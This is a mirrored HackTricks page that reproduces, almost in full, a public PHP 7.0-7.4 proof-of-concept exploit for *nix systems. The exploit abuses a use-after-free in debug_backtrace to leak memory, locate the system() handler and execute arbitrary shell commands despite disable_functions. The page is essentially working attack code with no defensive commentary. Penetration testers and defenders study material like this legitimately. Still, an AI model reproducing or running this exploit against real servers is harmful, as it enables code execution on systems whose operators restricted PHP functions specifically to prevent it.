mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-06 10:18:55 +00:00
229 lines
6.1 KiB
Markdown
229 lines
6.1 KiB
Markdown
|
# disable\_functions bypass - PHP 7.0-7.4 \(\*nix only\)
|
||
|
|
||
|
## PHP 7.0-7.4 \(\*nix only\)
|
||
|
|
||
|
From [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
|
||
|
|
||
|
```php
|
||
|
<?php
|
||
|
|
||
|
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
|
||
|
#
|
||
|
# Bug: https://bugs.php.net/bug.php?id=76047
|
||
|
# debug_backtrace() returns a reference to a variable
|
||
|
# that has been destroyed, causing a UAF vulnerability.
|
||
|
#
|
||
|
# This exploit should work on all PHP 7.0-7.4 versions
|
||
|
# released as of 30/01/2020.
|
||
|
#
|
||
|
# Author: https://github.com/mm0r1
|
||
|
|
||
|
pwn("uname -a");
|
||
|
|
||
|
function pwn($cmd) {
|
||
|
global $abc, $helper, $backtrace;
|
||
|
|
||
|
class Vuln {
|
||
|
public $a;
|
||
|
public function __destruct() {
|
||
|
global $backtrace;
|
||
|
unset($this->a);
|
||
|
$backtrace = (new Exception)->getTrace(); # ;)
|
||
|
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
|
||
|
$backtrace = debug_backtrace();
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
class Helper {
|
||
|
public $a, $b, $c, $d;
|
||
|
}
|
||
|
|
||
|
function str2ptr(&$str, $p = 0, $s = 8) {
|
||
|
$address = 0;
|
||
|
for($j = $s-1; $j >= 0; $j--) {
|
||
|
$address <<= 8;
|
||
|
$address |= ord($str[$p+$j]);
|
||
|
}
|
||
|
return $address;
|
||
|
}
|
||
|
|
||
|
function ptr2str($ptr, $m = 8) {
|
||
|
$out = "";
|
||
|
for ($i=0; $i < $m; $i++) {
|
||
|
$out .= chr($ptr & 0xff);
|
||
|
$ptr >>= 8;
|
||
|
}
|
||
|
return $out;
|
||
|
}
|
||
|
|
||
|
function write(&$str, $p, $v, $n = 8) {
|
||
|
$i = 0;
|
||
|
for($i = 0; $i < $n; $i++) {
|
||
|
$str[$p + $i] = chr($v & 0xff);
|
||
|
$v >>= 8;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function leak($addr, $p = 0, $s = 8) {
|
||
|
global $abc, $helper;
|
||
|
write($abc, 0x68, $addr + $p - 0x10);
|
||
|
$leak = strlen($helper->a);
|
||
|
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
|
||
|
return $leak;
|
||
|
}
|
||
|
|
||
|
function parse_elf($base) {
|
||
|
$e_type = leak($base, 0x10, 2);
|
||
|
|
||
|
$e_phoff = leak($base, 0x20);
|
||
|
$e_phentsize = leak($base, 0x36, 2);
|
||
|
$e_phnum = leak($base, 0x38, 2);
|
||
|
|
||
|
for($i = 0; $i < $e_phnum; $i++) {
|
||
|
$header = $base + $e_phoff + $i * $e_phentsize;
|
||
|
$p_type = leak($header, 0, 4);
|
||
|
$p_flags = leak($header, 4, 4);
|
||
|
$p_vaddr = leak($header, 0x10);
|
||
|
$p_memsz = leak($header, 0x28);
|
||
|
|
||
|
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
|
||
|
# handle pie
|
||
|
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
|
||
|
$data_size = $p_memsz;
|
||
|
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
|
||
|
$text_size = $p_memsz;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!$data_addr || !$text_size || !$data_size)
|
||
|
return false;
|
||
|
|
||
|
return [$data_addr, $text_size, $data_size];
|
||
|
}
|
||
|
|
||
|
function get_basic_funcs($base, $elf) {
|
||
|
list($data_addr, $text_size, $data_size) = $elf;
|
||
|
for($i = 0; $i < $data_size / 8; $i++) {
|
||
|
$leak = leak($data_addr, $i * 8);
|
||
|
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
|
||
|
$deref = leak($leak);
|
||
|
# 'constant' constant check
|
||
|
if($deref != 0x746e6174736e6f63)
|
||
|
continue;
|
||
|
} else continue;
|
||
|
|
||
|
$leak = leak($data_addr, ($i + 4) * 8);
|
||
|
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
|
||
|
$deref = leak($leak);
|
||
|
# 'bin2hex' constant check
|
||
|
if($deref != 0x786568326e6962)
|
||
|
continue;
|
||
|
} else continue;
|
||
|
|
||
|
return $data_addr + $i * 8;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function get_binary_base($binary_leak) {
|
||
|
$base = 0;
|
||
|
$start = $binary_leak & 0xfffffffffffff000;
|
||
|
for($i = 0; $i < 0x1000; $i++) {
|
||
|
$addr = $start - 0x1000 * $i;
|
||
|
$leak = leak($addr, 0, 7);
|
||
|
if($leak == 0x10102464c457f) { # ELF header
|
||
|
return $addr;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function get_system($basic_funcs) {
|
||
|
$addr = $basic_funcs;
|
||
|
do {
|
||
|
$f_entry = leak($addr);
|
||
|
$f_name = leak($f_entry, 0, 6);
|
||
|
|
||
|
if($f_name == 0x6d6574737973) { # system
|
||
|
return leak($addr + 8);
|
||
|
}
|
||
|
$addr += 0x20;
|
||
|
} while($f_entry != 0);
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
function trigger_uaf($arg) {
|
||
|
# str_shuffle prevents opcache string interning
|
||
|
$arg = str_shuffle(str_repeat('A', 79));
|
||
|
$vuln = new Vuln();
|
||
|
$vuln->a = $arg;
|
||
|
}
|
||
|
|
||
|
if(stristr(PHP_OS, 'WIN')) {
|
||
|
die('This PoC is for *nix systems only.');
|
||
|
}
|
||
|
|
||
|
$n_alloc = 10; # increase this value if UAF fails
|
||
|
$contiguous = [];
|
||
|
for($i = 0; $i < $n_alloc; $i++)
|
||
|
$contiguous[] = str_shuffle(str_repeat('A', 79));
|
||
|
|
||
|
trigger_uaf('x');
|
||
|
$abc = $backtrace[1]['args'][0];
|
||
|
|
||
|
$helper = new Helper;
|
||
|
$helper->b = function ($x) { };
|
||
|
|
||
|
if(strlen($abc) == 79 || strlen($abc) == 0) {
|
||
|
die("UAF failed");
|
||
|
}
|
||
|
|
||
|
# leaks
|
||
|
$closure_handlers = str2ptr($abc, 0);
|
||
|
$php_heap = str2ptr($abc, 0x58);
|
||
|
$abc_addr = $php_heap - 0xc8;
|
||
|
|
||
|
# fake value
|
||
|
write($abc, 0x60, 2);
|
||
|
write($abc, 0x70, 6);
|
||
|
|
||
|
# fake reference
|
||
|
write($abc, 0x10, $abc_addr + 0x60);
|
||
|
write($abc, 0x18, 0xa);
|
||
|
|
||
|
$closure_obj = str2ptr($abc, 0x20);
|
||
|
|
||
|
$binary_leak = leak($closure_handlers, 8);
|
||
|
if(!($base = get_binary_base($binary_leak))) {
|
||
|
die("Couldn't determine binary base address");
|
||
|
}
|
||
|
|
||
|
if(!($elf = parse_elf($base))) {
|
||
|
die("Couldn't parse ELF header");
|
||
|
}
|
||
|
|
||
|
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
|
||
|
die("Couldn't get basic_functions address");
|
||
|
}
|
||
|
|
||
|
if(!($zif_system = get_system($basic_funcs))) {
|
||
|
die("Couldn't get zif_system address");
|
||
|
}
|
||
|
|
||
|
# fake closure object
|
||
|
$fake_obj_offset = 0xd0;
|
||
|
for($i = 0; $i < 0x110; $i += 8) {
|
||
|
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
|
||
|
}
|
||
|
|
||
|
# pwn
|
||
|
write($abc, 0x20, $abc_addr + $fake_obj_offset);
|
||
|
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
|
||
|
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
|
||
|
|
||
|
($helper->b)($cmd);
|
||
|
exit();
|
||
|
}
|
||
|
|
||
|
```
|
||
|
|